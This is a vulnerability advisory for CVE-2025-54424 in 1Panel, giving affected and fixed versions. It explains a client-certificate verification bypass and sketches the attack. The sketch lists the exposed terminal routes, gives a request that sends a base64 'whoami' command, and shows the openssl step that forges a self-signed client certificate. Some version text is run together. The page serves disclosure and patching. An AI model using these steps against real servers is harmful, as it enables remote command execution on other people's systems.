github.com/1Panel-dev/1Panel/core
Affected
- introduced
1.0.0, fixed2.0.6(semver)
Fixed versions
2.0.6
Fix
- Fixed version
2.0.6go get github.com/1Panel-dev/1Panel/[email protected]
Advisory
Also known as: CVE-2025-54424, GO-2025-3834
1Panel agent certificate verification bypass leading to arbitrary command execution
Project Address: Project Address 1Panel
Official website: https://www.1panel.cn/
Time: 2025 07 26
Version: 1panel V2.0.5
Vulnerability Summary

Code audit process




Note::Here due to the use of tls.RequireAnyClientCert instead of tls.RequireAndVerifyClientCert,RequireAnyClientCert Only require the client to provide a certificate,Does not verify the issuance of certificates CA,So any self assigned certificate will pass TLS handshake。

routing address: /process/ws
the request format is as follows
{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}

routing address: /hosts/terminal
the request format is as follows
{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}

routing address:/containers/terminal
routing address:/files/wget/process
Attack process
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"


High Basis: The source's own band: HIGH
1.0.0, fixed 2.0.6 (semver)2.0.6
2.0.6go get github.com/1Panel-dev/1Panel/[email protected]0, fixed 0.0.0-20250730021757-04b9cbd87a15 (semver)0.0.0-20250730021757-04b9cbd87a15
0.0.0-20250730021757-04b9cbd87a15go get github.com/1Panel-dev/1Panel/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0